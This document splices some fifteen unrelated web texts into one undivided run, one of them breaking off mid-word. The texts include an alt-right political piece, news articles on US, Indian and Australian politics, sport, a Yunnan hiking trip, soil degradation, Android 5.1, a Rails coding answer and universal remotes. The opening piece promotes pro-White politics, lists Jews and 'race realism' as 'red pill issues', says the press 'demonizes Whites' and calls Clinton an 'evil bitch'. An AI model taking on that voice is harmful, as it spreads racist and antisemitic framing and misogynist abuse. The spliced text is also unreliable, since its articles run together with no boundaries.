Unlike all the other candidates, Trump was listening to the people. He sized up his audience. He quickly discerned what they really cared about, what was stale ideology, and what was donor class baggage. That’s what he ran on in the primaries. Starting with immigration and political correctness, it just so happens that there is a massive overlap now between what the Alt-Right cares about and what the Republican base cares about.
Hillary intends to portray the Alt-Right as “extremists”:
“Campaigning in Reno, Nevada, on Thursday, Hillary Clinton will address Donald Trump’s recent campaign hires and what her campaign termed in an announcement as “his advisors’ embrace of the disturbing ‘alt-right’ political philosophy.” “This ‘alt-right’ brand is embracing extremism and presenting a divisive and dystopian view of America which should concern all Americans, regardless of party,” the campaign said in a statement. “In her remarks, Clinton will contrast Donald Trump’s divisive views and dangerous temperament with her vision of an America that is stronger together and where everyone has a role to play in the future.” …”
This is a half truth.
In reality, the Alt-Right is much closer to the center on most issues. For twenty years now, the Alt-Right even before it congealed into the Alt-Right was sounding the alarm about immigration. The same is true of free-trade and destructive foreign wars which were two of our signature issues through the Bill Clinton and George W. Bush years. The Alt-Right has always been passionately against political correctness and highly critical of multiculturalism, but it has been taken to such ludicrous extremes that the Republican base has come around to our position. The Alt-Right has always warned about the dangers of extreme expressive individualism and the rapid disintegration of the social fabric.
The Alt-Right has always believed that the political system was rigged against the people because it was controlled by the donor class. It has always believed that Republicans cater to the wealthy and neglect the White working class. It has always opposed the #LyingPress. It has always been skeptical of the traditional Republican agenda of tax cuts and free markets. It has always been more secular and less religious than ordinary conservatives. It has always been highly critical of the American Empire.
The Alt-Right has always been known for being angry, alienated, and believing America’s best days were in the past – the difference is that now the White majority has caught up to where we were twenty even thirty years ago. The Alt-Right, too, has always opposed extreme racial double standards, particularly in crime, and especially the way the #LyingPress demonizes Whites while coddling black extremism.
Donald Trump’s leadership has exposed an uncomfortable reality for the bipartisan political establishment: year after year, White America has drifted closer and closer to our long established positions on the issues, and has become more and more alienated from the self-selected elite. We’re condemned as “extremists” from the top of the social pyramid by the media while the view from the bottom looks very different.
The Alt-Right is White America’s Cassandra: decades ago, we were highly conscious of the demographic projections, and were very concerned about the future of our people. We traveled far ahead of our people, who tend to mostly live in the present, into the distant and then highly abstract future of the 2020s, 2030s, and 2040s. Now, the future that we have always warned about is starting to dawn, and our dystopian predictions are coming true whereas the rosy kumbaya predictions of the liberal establishment and its creed of secular humanism turned out to be far wide of the mark.
Shooting the messenger won’t kill the message.
Note: Since Hillary Clinton is directly attacking us here, which I can’t remember ever happening in 15 years of watching politics, that ought to tell you something. She’s attacking all pro-White people and so for once we ought to put aside all these petty divisions and unite to oppose this evil bitch for one day in November. We’re not being ignored anymore. They’re not pretending we don’t have a voice.
Note: I say half truth because some red pill issues – namely, Jews, race realism, secession – aren’t yet as fully digested as others like racial double standards. Also, I don’t even really identify as “Alt-Right,” but I am close enough to think of myself as a fellow traveler. We believe in most of the same things and will share the same fate.GOP brand pronounced dead in deep-blue California CALIFORNIA POLITICS
The Republican Party, as a brand, is dead in California.
That's the eye-opening consensus of a crowd of political observers, lawmakers and strategists - Democrats and Republicans - gathered at a UC Berkeley symposium this weekend to mull over California's defiantly blue status in the wake of a conservative tide that swept the nation in November.
Many of the 200 attendees at the two-day Institute of Governmental Studies conference appeared surprisingly unified on one issue: that, barring dramatic upheaval, the GOP's prospects may be doomed in the voter-rich Golden State.
"Republicans, as a brand, are dead," Duf Sundheim, the former state GOP chair, told the gathering Saturday.
Exhibit A: Los Angeles District Attorney Steve Cooley, who had racked up a string of election victories in nonpartisan offices. But Cooley lost the 2010 state attorney general's race to San Francisco Democrat Kamala Harris. Why? "He had an 'R' after his name," Sundheim said.
"There's a brand problem," agreed Republican Jim Brulte, former state Senate minority leader.
California voters supported a number of conservative ballot measures, yet not a single conservative lawmaker for statewide office, Brulte noted. Voters made it clear they "just don't want Republicans in office."
With just months until Republicans kick off a demolition derby to pick their nominee for the 2012 presidential contest, such dire party prospects in California - home to one 1 in 8 American voters and many deep-pocketed donors - could have political ripple effects.
"We've become an island, a political island unto ourselves," Thad Kousser, a political analyst from UC San Diego, said of California's overwhelmingly blue streak in the November election.
Just how much Meg Whitman, the defeated 2010 billionaire gubernatorial candidate, is to blame for the California GOP's sorry prospects was the subject of sharp debate.
Whitman's crushing 13-point defeat by Gov. Jerry Brown, despite spending more than $140 million of her own money, was roundly bashed by experts. But neither she, nor her team of highly paid consultants, was present to defend themselves.
The former eBay CEO's team declined to attend, becoming the first gubernatorial campaign in the history of the prestigious academic symposium to do so.
In the wake of her defeat, the outlook for Whitman's party is stark, said Kimberly Nalder, associate professor of government at Cal State Sacramento, who titled her talk "Are California Republicans Doomed?"
Republicans are losing ground to decline-to-state voters, who now make up 1 in 5 registered voters, she said. They should be particularly horrified at voter trends among women, who are now 16 percent more likely to register as Democrats than as Republicans.
"Republicans need to learn how to talk to non-traditional Republican voters," said Bettina Inclan, who worked on the communications team for losing California GOP gubernatorial candidate Steve Poizner. Not just Latinos, she said, but African Americans and young people, too.
Republicans will remain dead in California until the party "decides it won't be hostile to people who aren't old and white," said Darry Sragow, interim director of the USC/Los Angeles Times Poll and a longtime Democratic strategist.
Some believe the open-primary law California voters passed in November could breathe new life into the party. Under the law, the top two finishers in the primary - no matter what party they're from - will move on to the general election. Some believe the new system will allow more moderate Republicans to prosper in districts that now swing Democratic.
"It will change the dialogue for Republicans," said Carroll Wills, an organizer with the firefighters union.
Republican strategist Tony Quinn cautioned that the GOP's obituary has been written before; in 1964, "Republicans took a terrible beating," and rebounded with "a B-movie actor that had never run for public office in his life," Ronald Reagan.
Republicans could make a comeback if "the coming political division is going to be between working California and the public sector," he added.
Rick Claussen, a leading GOP strategist, said that unless the grass roots and the state party change tactics - and step back from their current emphasis on conservative social issues - "we're not going to see a Republican statewide winner in the next decade."Before Monday, Andrew Ladd had never missed a game for the Winnipeg Jets since it relocated from Atlanta. In his single season as a Thrasher, Ladd missed one out of 82 games. So yeah, the guy’s a gamer.
But the captain missed the Jets’ game at the Dallas Stars on Monday, a frustrating 2-1 loss, because his second child was born on Sunday night: The couple's second child and first daughter.
You probably know where this is going.
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There’s pressure on any athlete to time their baby-makin’ around their job, to the point where Roberto Luongo and his wife had a plan to induce labor before the 2008 playoffs. And there’s always going to be some critic that questions a player’s decision to put family first, like when Mike Florio of Pro Football Talk criticized NFL players for mismanagement of “nine-month family expansion activities,” language that confirms he may in fact be an android.
And so it was that Troy Westwood of TSN 1290 in Winnipeg questioned Ladd’s decision to witness the miracle of life on a Sunday and then not show up to join the Jets at the Dallas Stars on a Monday:
Baby born last night, healthy, no complications I assume. You as captain don't make game tonight in Dal with playoffs hanging by a thread? — Troy Westwood (@TroyWestwood) March 24, 2014
And …
@NotArby_18 The baby is in this world and healthy. This is pro freakin sports, your team needs you, get to the game. — Troy Westwood (@TroyWestwood) March 24, 2014
Story continues
Now, Westwood isn’t some jock-sniffer. He played 18 years with the Blue Bombers in the CFL, and he gets an eternal pass from criticism for his 2003 reference to Saskatchewanians as “banjo-pickin' inbreds.” He’s speaking as a former pro.
But he’s also speaking as a former pro football player, a sport in which they play significantly fewer games than in the NHL. Joe Flacco missed the birth of his child to play in Week 1 for the Ravens last season, one of 16 games. Ladd is missing one out of 82; and let’s not forget the real context here, which is that the Jets trailed the wild card by six points before last night with 10 games remaining; now, it’s seven and nine games left.
I have zero issue with Ladd or any parent missing a game for the birth of their child. Ultimately, it’s that family’s decision, and the athlete’s willingness to live with that decision – like when Hunter Mahan left the Canadian Open with a two-stroke lead in the final round to witness the birth of his child.
What about the teammates? What about management?
Depends on the situation. I watched Game 7 of the 2010 Bruins/Flyers series, in which Philly rallied from a 3-0 deficit, while holding my newborn daughter in a hospital room. I remember wondering what call I would have made if I was on either team with a baby due that day, or the night before. I also thought about exactly what Westwood pondered, which is the reaction of their teams if a key player voluntarily skipped what was undoubtedly the most important game of the season for it.
But as Alain Vigneault said when Luongo left, briefly, for the birth of his child: "That's more important than any hockey game and we expect him to be there, and that's where he should be.”
Ladd was there for the Jets 72 times this season. He needed to be somewhere else last night.Apparently stunned by its allies, the Centre decided on Monday to drop its move to name a judge to head the commission set up to probe the snooping of a young woman architect’s phone calls by the Gujarat police, allegedly at the instructions of the BJP’s prime ministerial candidate Narendra Modi.
Insiders, however, told dna, it was Prime Minister Manmohan Singh who put his foot down and apprised Congress President Sonia Gandhi, saying crucial decisions and appointments must now be left to the next government, as the country was approaching the last leg of its election process.
Singh, blamed for his weak-kneed approach and bending before the party high command on every issue, has for the past few days been asserting himself at the very end of his career. Among the decisions he put his foot down on, much to the chagrin of his party colleagues, include rejecting a proposal cleared by the Delhi NCR Planning Board at the instance of Union Minister Kamal Nath to change use of vast stretches of forest land in the outskirts of Delhi, stopping a $400 million FDI deal from Manhattan-based company Kohlberg Kravis Roberts (KKR), and also yielding to amend the rules to allow the search committee to identify eminent persons, including the Supreme Court and High Court judges, for the posts of the Chairman and members of the Lokpal.
On Monday, at the instance of the Prime Minister’s Office (PMO), Solicitor General Mohan Parasaran submitted a letter from Minister of State for Personnel V Narayanasamy before the Supreme Court to give freedom to the search committee to consider any person other than persons included in the list of applicants provided by the government.
The Congress was left red-faced, however, at the government’s decision to drop the naming of a judge to head the commission to probe the snooping scandal to inquire into Guj |
arrived outside the Snow Mountain guesthouse at 2:30pm the next day, we were told there was no way we were going up the mountain that afternoon. Not only would the trek take seven hours and leave us hiking in the dark, but there were also no guides around to show us the way.
The route from the village to base camp gains 1500 meters of elevation and follows a network of trails through forest, snow and rocks. In bad conditions it could be very difficult to follow. To make things easier, we employed a guide who charged 150 yuan a day.
The hike from guesthouse to base camp took only four hours, and we almost forgot the next day's forecasted gales.
The guide and his dog left us to make their way back to the village, leaving us alone on the mountain. Four derelict stone buildings, one without a roof, comprised the unkempt base camp. The area was littered with garbage and the buildings were falling into disrepair. We set up camp outside and then wandered around the area, enjoying the views and solitude.
Later, we sat down to brew some tea and relax in the afternoon sun, feeling optimistic about our chances the following day. Just three days earlier we had arrived at the top of the south summit of Yulong Snow Mountain, tired and hypoxic despite carrying only light day packs.
We had just covered the same elevation gain with our guide, this time carrying much heavier gear. The acclimatization had paid off better than any of us had expected. After dark the wind began to gust and the temperature dropped quickly.
That night we slept in doorways to hide from the steadily increasing wind, guiltily taking advantage of the shelters we had spent the afternoon ridiculing. In the predawn darkness the next morning we made porridge, ate and set off, our headlamps providing the only light.
From camp the path wends its way over small moraines to the base of a huge granite slab. A well-worn path can be seen cutting up the slope to the left, and we followed it until stepping out on the rock to climb higher. The rock gave way to moraine and a path reappeared to follow a loose rocky ridgeline.
The wind had been a cause for concern since we left camp and now it began to blow with increasing force. We were still relatively sheltered by rock outcroppings and crags and the wind was whipping around and making forward progress extremely difficult. The higher we climbed the more violent and prolonged the gusts became. It made every step frighteningly insecure.
We dropped to our hands and knees to brace against the wind. It was strong enough that we could lean forward at 50 degree angles with no support and not fall. Crawling was the only way to not be bodily pushed backwards. We knew the gales would be much stronger higher up on the flat, unprotected glacier and reluctantly turned back.
It was a long walk down from our high point of 4800 meters, and it was with weary legs that we trudged back to the front porch of our guesthouse. Our lovely hostess greeted us with a beaming smile and three huge bowls of delicious noodles. She said she had been worried about us and thought the wind was far too strong on the mountain for hiking. She pointed out that while we were gone the berries had all been blown off her fruit tree.
Getting there:
Lijiang can be reached by plane, train or bus. Buses from Lijiang to Qiaotou or Haba village (37 yuan) leave from the city's main bus station (丽江汽车客运站). Remember to keep the 50 yuan entry ticket to Tiger Leaping Gorge. This will save having to pay an additional 50 yuan when returning.
Guest houses and home stays in Haba village are easy to find. Our room was 20 yuan per bed.
editor's note: Anyone planning to climb a mountain in Yunnan or elsewhere should be aware of altitude sickness and know the warning signs. Travelers attempting Haba who have not previously acclimated should spend an extra day hiking around base camp.
GoKunming also recommends carefully studying High Altitude Pulmonary Edema (HAPE) and High Altitude Cerebral Edema (HACE). The onset of these conditions can be insidious, and early symptoms of HAPE are often mistaken for a simple cough brought on by cold, dry air.
Weather reports for mountains should also be monitored carefully. Any summit attempts should be postponed or cancelled when forecasts anticipate wind speeds of 50 kilometers per hour or more.
© Copyright 2005-2019 GoKunming.com all rights reserved. This material may not be republished, rewritten or redistributed without permission.The city of Lancaster, California announced today its “Law Enforcement Aerial Platform System,” a radar system-camera attached to a single-engine Cessna that’s going to conduct surveillance over the city for ten hours a day. It’s kind of like a drone, only not. From KABC in Los Angeles:
The tool has similar capabilities as drones, which are used by the military to scan warzones and transmit live video from the battle field. However, the difference is that drones are remote controlled, whereas the LEAPS technology will be attached to a plane that will have a Los Angeles County deputy inside.
Surveillance video will be transmitted directly to the Los Angeles County Sheriff’s Office, according to Wired, which notes the company providing LEAPS is a local one, Spiral Tech, one the California Commission for Job and Economic Growth has dubbed a "California Innovation All Star," no less.
Government Technology has more on the technology and its capabilities:
LEAPS uses both visible and infrared imagery for tracking. City officials said that at the closest level of surveillance, its new “eye in the sky” can identify the color of a person’s clothing, but facial details and license plate numbers will not be visible.
In an e-mail to Government Technology, Lancaster Mayor R. Rex Parris touted the crime-stopping and prevention advantages that aerial coverage will provide the city.
“Everyone knows you see more from above, cover a wider range of observance and are capable of more accurate pursuit with an aerial unit,” he said. The real-time value of LEAPS, Parris said, will be the ability to provide ground patrol units information on criminals’ movements.
LEAPS is reported to cost $1.3 million to launch and $1 million a year to operate (for 152 days worth of hours a year). The Lancaster City Council apparently approved it unanimously. Lancaster’s most recent budget (pdf) notes over the last five years "an overall loss of $15 million in the general fund. Public safety costs have risen $6 million over the same period of time." The budget points out transfer and release of state inmates as an example of "a number of challenges imposed by federal, state and Los Angeles County laws and policies that hinder economic development and threaten community safety."
Lancaster has tried to push an “aggressive” aerial surveillance system before. The Los Angeles Times reported on an effort in 2009 which included this choice two cents to close:
Antelope Valley blogs have been ablaze with chatter about the new program, both for and against.
Matthew Keltner, 28, a Lancaster high school teacher, wrote: "If having a measure of surveillance overhead is going to make the criminal-minded uncomfortable, and think twice before settling in Lancaster, or engaging in criminal activity, then what's wrong with it?
"I could care less if someone sees me doing water aerobics in my grandmother's pool," he added.
Until, of course, someone interprets that as a crime!
I’ll be talking about this development in domestic surveillance on RT America at 4pm ET.
Semi-related: Last year Lancaster’s mayor proposed broadcasting bird songs in the city.Four female pilots have filed a complaint to the Equal Employment Opportunity Commission alleging Frontier Airlines’ policies “discriminate against women by failing to provide accommodations related to pregnancy and breastfeeding.”
According to a statement, the American Civil Liberties Union, the ACLU of Colorado, and law firm Holwell Shuster & Goldberg LLP filed the discrimination charges on behalf of the four women: Shannon Kiedrowski, Brandy Beck, Erin Zielinski and Randi Freyer.
The group claims the Denver-based low-cost airline failed to accommodate the women’s breast pumping needs and made it “extremely difficult” for them to continue breastfeeding once returning to work.
The statement also alleges that Kiedrowski was disciplined after a co-pilot complained about her using a breast pump on a plane. Zielinski claims that her work email was cut off after her supervisors inadvertently sent her an email meant for management “accusing her of ‘baiting’ them” when she asked for breast feeding accommodations, and all the women say they suffered from financial harm as a result of being forced to take unpaid leave during the end of the pregnancies.
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“Each of us tried to work with Frontier to find a solution, but unfortunately our efforts went nowhere,” Beck, who was a first officer at Frontier since 2003, said in the statement. “Because of Frontier’s failure to address the needs of pilots who are breastfeeding on a policy level, each of us has been left to figure out these problems on her own.”
Frontier Airlines did not immediately respond to a request for comment.
Contact us at editors@time.com.Google Confirms Android 5.1 Update for Android One Smartphones With An Animated Cartoon Video News oi-Vigneshwar
Search engine giant Google, has announced the roll out of Android 5.1 Lollipop update for the Android One users in the Indian market in style.
In regards to this update, Google has released a short video as a token of confirmation. The video's background score is the groovy 'Koi yaha naache naache' with the signature Android caricatures having a party announcing that ‘things have just got better' and that ‘Android One (smartphones) upgrade to Lollipop 5.1′.
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As the roll out of this update being carried out in batches, users have to wait for sometime before it shows up on the device. Moreover, you can check the update manually by going to About → System updates in your device.
Android 5.1 is the first big maintenance release for Lollipop, fixing bugs and improving performance and stability over the original 5.0 release.
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Moving on to the features of Android 5.1, the quick settings panel has been polished up a bit in Android 5.1. Also, Android 5.1 also introduces dual SIM support as a built-in Android feature.
Android 5.1 brings some much-needed clarity to Lollipop's somewhat confusing screen pinning feature, which was designed to make it easier to lock kids or guest users into a particular app.
Device Protection in Android 5.1 will help to secure your device even if it's lost or stolen. With this feature enabled, a thief won't be able to use your device, even after factory resetting it without having your Google account login details.
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In this update, Google has made some tweaks to the volume slider and interruptions system. Previously, in the Android, there is no traditional option for Mute.
And some other small features includes New animations in Clock app, Contacts lose colored overlay and Google+ linkage, Sticky soft keys fix, Hide 'Heads-up' notifications without dismissing, A new status bar icon when there's no SIM inserted, NuPlayer now the default streaming player.
<center><iframe width="100%" height="450" src="https://www.youtube.com/embed/kFN8NsgYiD0?feature=player_detailpage" frameborder="0" allowfullscreen></iframe></center>Healthy soils deliver a wide range of ecosystem goods and services that can be linked to human well-being and national economic status.
At a time when global demand for food is increasing, protecting soil resources is at the heart of future food security, as over 94% of our food comes from soil.
Soil is also the source of fibre, fodder and (bio)fuel production and offers a habitat to diverse flora and fauna that are the foundation of the food chain. Soil stores water to reduce the impacts of flooding and droughts that are predicted to increase under future climate change scenarios.
Soils also hold vast amounts of carbon, which helps mitigate the effect of greenhouse gas emissions and associated global warming.
In short, our very survival is dependent on this very thin layer of soil that is found in only a small fraction of the earth's surface. Moreover slow rates of soil formation mean soil is effectively a finite and limited resource.
Global soils are under increasing pressure from external drivers such as demands for more food production (quantity, quality and reliability), the intensification of agriculture, urbanisation (leading to sealing of soil surfaces, as well as migration of workers away from agricultural areas), and extreme weather events.
These factors are leading to soil degradation, manifest in processes such as soil erosion, compaction, loss of organic matter and soil biodiversity, and contamination. Every year, an estimated 12 million hectares of agricultural land are lost to soil degradation, adding to the billions of hectares that are already degraded.
Degraded soils deliver fewer goods and services, and are less resilient to external pressures. Hence a damaging, often irreversible positive feedback loop is set up.
The impact of 'land mining' on future food production
Increased agricultural intensification may aggravate the risk of soil degradation. Cropped land is particularly vulnerable to soil erosion, compaction and loss of organic matter and biodiversity.
This is due to the exposure of bare soil for lengthy times of the year, the disturbance of soil structure and biology during farming operations such as tillage, the increasing weight of larger agricultural machinery, the number of repeated passes over a parcel of land and the removal of organic matter during harvests.
Globally, an estimated 2 to 5 million hectares of arable land are lost every year to soil erosion alone. Concerns are growing that soil degradation is reducing the productive capacity of our land, with devastating impacts. Some estimate a 30 % reduction in food production due to degradation of agricultural land by 2040.
This has serious implications for food security worldwide and our ability to produce food that can meet cultural, health and nutritional needs, food that's available, accessible and affordable, both now and in the future.
At present, the evidence base is limited in identifying direct impacts of soil degradation on food production. This is partly because some soil management practices have been used to mask these impacts.
These include adding chemical fertilisers to soil to replace lost nutrients, applying irrigation to compensate for the reduced water holding capacity of thin, eroded soils, or introducing higher yielding crop varieties. Many of these practices rely on finite resources and require large capital investments. They have little effect on the resilience of soil to resist (and recover from) degradation processes.
Incentivising farmers to protect and revive their soils for the long-term
By definition, soil degradation decreases the ability of soils to function, but the corollary is that soil protection and conservation should improve soil condition and enhance the delivery of ecosystem goods and services including food production. Existing and innovative land and water management can prevent and reverse soil degradation.
Many mitigation measures can be effective in controlling multiple degradation threats. For example, increasing soil organic matter content will reduce the susceptibility of soil to erosion and compaction, whilst providing the substrate for an active microbial community.
Organic matter improves soil structure, water holding capacity and resilience to resist and recover from external pressures, such as extreme weather events and overexploitation of land over time.
Farmers can increase soil organic matter content by reducing tillage intensity, planting cover crops, adding organic amendments and composts, and retaining crop residues within the field, rather than removing or burning them after harvest.
However, conserving soil and reversing soil degradation is challenging. The beneficial effects of soil conservation practices on soil condition are often only apparent after several years. Clearly, this is at odds with the much shorter term economic cycle faced by many farmers.
Some practices may result in yield reductions in the short term, which can make farming uneconomic, especially in marginal areas. Nevertheless, the impacts and costs of continuing soil degradation such as food shortages will be felt by society as a whole, not just the farming sector.
So, policies are urgently needed to incentivise farmers to protect soils so this precious natural resource can continue to deliver vital goods and services for generations to come.
Jane Rickson is Professor of Soil Erosion and Conservation in Cranfield University's Soil and AgriFood Institute. She has 30 years experience of research, consultancy and training in land and water engineering, and soil management. Her work has focussed on the causes and effects of land degradation, with particular emphasis on soil erosion and its control.
More information
FAOSTAT.
Rickson et al. (2015) 'Input constraints to food production: the impact of soil degradation'.It always seemed rather extraordinary that people around Parliament House were suggesting that the government really needed Barnaby Joyce back in harness to "restore discipline" to the Nats.
Seriously? The deputy prime minister is not the instigator of discipline but a man with a long personal history of creating havoc for the government of which he was a part – dating back to his days as a senator – and now, as leader, engaging in vindictive score settling in cabinet appointments on a scale we have not seen in some years.
Darren Chester has been sacked unceremoniously from cabinet – not even just demoted – because he was a threat to Joyce. There has been no criticism of him as a minister.
Keith Pitt was similarly dumped, for equally pathetic reasons, from his position as a parliamentary secretary.
The possibility of some of the Nationals who are on the wrong side of this internal brawl walking to the cross bench now hovers. You can only hope – in the interests of at least someone demonstrating some discipline and even a little bit of class – that they resist the temptation.
In structuring his front bench Malcolm Turnbull has not followed the advice of John Howard, who always argued that people had to serve their time in junior positions before wending their way up into the cabinet – an argument which kept Turnbull himself in the outer Howard ministry until he bludgeoned his way in.
Instead, the prime minister has promoted two men who would be largely unknown to most voters straight into the cabinet, with Queensland's David Littleproud becoming minister for agriculture and water resources after just 18 months in parliament and John McVeigh – who the prime minister personally rates – coming in as regional development minister (with experience as a minister in Queensland).
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All this noise overshadows the two central structural changes in the cabinet, with the final elevation of Peter Dutton as the Minister for Home affairs – with two junior ministers - and Michaelia Cash coming in to the very centre of the government by the grouping into one of the employment and industry portfolios. She also gets a seat on the expenditure review committee of cabinet.
Noise of the Nationals aside, the most striking feature of the cabinet reshuffle is the entrenchment of the power of the two most lethal political operators in the government – and the men on whom the prime minister most relies: Dutton and Finance Minister Mathias Cormann.
But thanks to the Nats, we finish the year as we have endured most of it: being reminded that it is all about you.LOS ANGELES: One of the most celebrated photographers of the US civil rights era, who was part of Martin Luther King jnr's trusted inner circle, has been unmasked as an FBI informant.
Ernest Withers, who died in 2007 at the age of 85, took some of the most famous pictures of King, including him riding one of the first desegregated buses in Montgomery, Alabama.
Trusted... a photograph of Martin Luther King by Ernest Withers.
Known as the ''original civil rights photographer'', he also captured thousands of images chronicling everyday lives of struggle in the Deep South, along with demonstrations, riots and criminal trials.
One of his most important photographs was taken in 1968 during a Memphis sanitation workers' strike when a crowd stood with placards reading ''I Am a Man''.What are virtual currencies?
A virtual currency, such as for example bitcoin, allows you to transfer money without having to use banks. It uses a cryptographic technology called blockchain that builds a shared and publicly verifiable database of transactions to prevent fraud. This creates trust between sellers and buyers, thus eliminating the need for banks to get involved to verify the process.
Benefits and risks
Virtual currencies offer both advantages and drawbacks. Transactions in virtual currencies can be cheaper, faster, more secure and more transparent. During the hearing organised by the economic committee, Primavera De Filippi, a permanent researcher at the National Centre of Scientific Research in Paris, said that the blockchain technology can also be regarded as "some kind of regulatory technology, enabling laws to be enforced more transparently and more efficiently". She added: "It solves the problem of who watches the watcher."
However, there are also risks attached to the use of virtual currencies. Olivier Salles, from the European Commission, said: "They don't really protect the consumer and there are also some risks in terms of stability of the platforms, volatility of the price and also classic cyber-threats like theft, hacking and loss."
Bitcoin has often been associated with illegal activities such as money laundering and the trade in illegal goods, mainly because its transactions can be carried out anonymously. However, experts warned MEPs not to overestimate these risks.
"In fact cash is likely to be a much more anonymous means of transferring value," said Sean Ennis, a senior economist from the OECD. "The ownership string for virtual currency is public and that allows a tremendous amount of analysis of transactions."
This was echoed by Jeremy Millar, a partner with Magister Advisors, who said: "It's easier to detect crime on bitcoin than it is in cash." He added: "Bitcoin is no longer a hacker community. It's run by big companies which try to comply with existing regulation."
Is there a need for EU regulation?
Most of the experts were cautious about expanding EU legislation on virtual currencies. Commission representative Salles said: "One of the big challenges is not how fast and how far to regulate, but how to correctly monitor this fast evolving technology." He told MEPs that the Commission was now considering whether there was a need to regulate virtual currencies as part of the response to last November's terrorist attacks in Paris.
Millar, from Magister Advisors, said: "In my view there is no basis for a generic regulation of Bitcoin." However, he added that as a global network Bitcoin would benefit from some harmonisation of European policy by increasing its reach.
Dr Thaer Sabri, from the Electronic Money Association, said proportional regulation would be highly desirable: "I think industry is supportive of financial crime regulation."
Siân Jones, co-founder of the European Digital Currency and Blockchain Technology forum, told MEPs: "If you're minded to propose legislative action, [I recommend] to limit such action to anti-money laundering and countering terrorist financing."
Parliament report
As virtual currencies are rapidly gaining in importance, the Parliament is keen to investigate if there are any issues attached to their use. This is why it is currently working on an own-initiative report. German S&D member Jakob von Weizsäcker, who will be writing the report, said: "There are many investors out there who have very high hopes that a particular application of this technology will be what they call a killer application. The real question is if and when one of these breakthroughs comes, how well are we prepared as governments, as legislators for that kind of revolution."
The economic committee is expected to vote on his report in April. After this all MEPs will be asked to vote on the report during a plenary session, probably in May. The adopted report will then be sent to the European Commission for consideration.On Saturday, St. Vincent played the Chilean edition of the Lollapalooza festival. And when she was there, she got herself into some trouble, allegedly because she destroyed paintings that were in the dressing room. The paintings in question were the work of the Chilean artist Constanza Ragal Chaigneau, and as MTV points out, La Tercera reports that the artist demanded $4,500 from Annie Clark. Chaigneau claimed in an Instagram comment (below) that the paintings were destroyed with “knives and violence,” so Clark must’ve really hated those things!
According to MTV, Clark stayed in the country a few extra days, and it’s not clear whether she was prevented from leaving Chile or whether she stayed voluntarily to reach some sort of agreement with Chaigneau. Either way, Clark left Chile for Paraguay yesterday, and she’s now free to continue touring South America.
[Photo by Stephen Lovekin/Getty.]The Roman Catholic Church is at the centre of a row after ordering its schools to teach Judaism alongside Christianity in GCSE religious studies – ruling out Islam or other faiths.
The edict was described as ‘very disappointing’ by senior Muslim leaders. Sir Iqbal Sacranie, former secretary general of the Muslim Council of Britain, said the decision undermined Pope Francis’s message of greater tolerance between the faiths, and urged Catholic leader Cardinal Vincent Nichols to think again.
The Church’s move follows last year’s reforms to the GCSE exam. Under the new rules, schools are required to teach two religions rather than one.
Former secretary general of the Muslim Council of Britain Sir Iqbal Sacranie said the decision to ban Islam from religious studies undermined greater tolerance between the faiths
Catholic leader Cardinal Vincent Nichols (pictured) was urged to think again by Muslim leaders
The change was designed to drive extremism out of the classroom following the ‘Trojan Horse’ plot, in which individuals were found to have been introducing fundamentalist Islamic teaching into Muslim schools in Birmingham.
Paul Barber, the director at the Catholic Education Service, said teaching about the Jewish faith would ensure schools continued to comply with the stipulations of bishops that pupils are given a solid grounding in Christianity.
He said, however, that pupils would learn about other faiths during normal religious education lessons.
But critics said many of the Catholic Church’s 2,150 primary and secondary schools have a significant number of pupils from an Islamic background, including the Rosary Catholic Primary in Birmingham, where more than 90 per cent of the children are Muslim.
Sir Iqbal said: ‘This is not a good decision. It does not reflect well on the messages that are coming out from the Church for greater tolerance of other faiths.
‘This is a difficult time for religions and the last thing you would expect is a major faith making such a statement.I agree with commenter on your question that said "The asset pipeline isn't really meant to be compiling your assets each request in production." -- making it not really possible to do exactly what you ask.
So how about an alternative to accomplish what you're really trying to accomplish here, which is different asset resolution for different subdomains. Put your sub-domain specific assets in sub-directories of your asset folders.
Now, in the view/helpers, when you call asset_path or any other helpers that take a relative asset path, ask it for "#{subdomain}/name_of_asset" instead of just "name_of_asset".
Now, because of the way the asset compiler works, it's possible this subdirectory method won't work, you may have to put the subdomain at the beginning of the actual filename instead. "#{subdomain}_name_of_asset". Not sure.
And this still wouldn't give you a sort of 'default fall through' where some assets in some subdomains don't have subdomain-specific assets, they just 'fall through' to the default. Which would be nice. It's possible a way can be figured out to do that too, not sure.
But at any rate, following this approach of asking for a different asset at display-time using logic in view/helper.... is going to get you further than your original suggested approach, which probably isn't possible.Picking a universal remote control is pretty tricky these days. There are plenty of simple, programmable IR blasters out there, but some of the best remotes can control other devices using Bluetooth or even Wi-FI. This week, we’re looking at some of the best universal remotes, based on your nominations.
Earlier in the week, we asked you to tell us which universal remotes you thought were the best. Your nominations ranged from the hilarious to the incredibly useful, and even though it’s been a long time since we looked at the category, many remotes still stand on either side of a huge dividing line: one the one side, there are programmable IR blasters that are cheap and effective for most home entertainment setups. On the other are complex and often more expensive devices that can control all of your IR devices, but also any smart home gear you have and other technologies around the house. Some even let you use your smartphone or tablet as well.
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That aside, let’s look at your top five picks from the nominations round:
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The Logitech Harmony One, much loved and lauded, but eventually replaced by the Harmony Ultimate One, is a tough universal remote to top. More than a few of you highlighted how much you loved the original Harmony One, its completely programmable buttons and activities, plethora of settings, and durability. Even though it’s discontinued, you can still pick one up—albeit at the hefty price of $349 at Amazon, while its replacement, the Harmony Ultimate One, is a more affordable $209. For its part, the Ultimate One tries to capture some of what people loved about the One, including the adaptable touchscreen, programmable activities, and ability to control all of the devices in your home entertainment center. Both remotes are IR blasters only, meaning RF devices and Bluetooth devices are out, but also trims down the number of buttons on the face of the remote, instead relying a bit more on the touchscreen for a lot of operations and for custom, user-added buttons. The Ultimate One also slimmed the whole thing down to a slightly smaller size. Some people love those changes, others hated them, but at the end of the day you have options.
Those of you who nominated the Harmony One and Ultimate One all praised the device for being able to control virtually everything in your setups, with little real configuration. Everyone (and you’ll see this is a recurring theme with the other Harmony nominees) complained a bit about Logitech’s overly-heavy and complicated desktop programming software, but it’s better than pointing the remote at another remote to learn commands (although the original One was capable of this as well.) Many of you loved the ability to switch between activities and devices to perform specific actions on your devices even if they’re not part of “activities” you program, and many of you loved your original Ones so much that you said you don’t know what you’ll do when it eventually dies. You can read more in this nomination thread, this one, or this one.
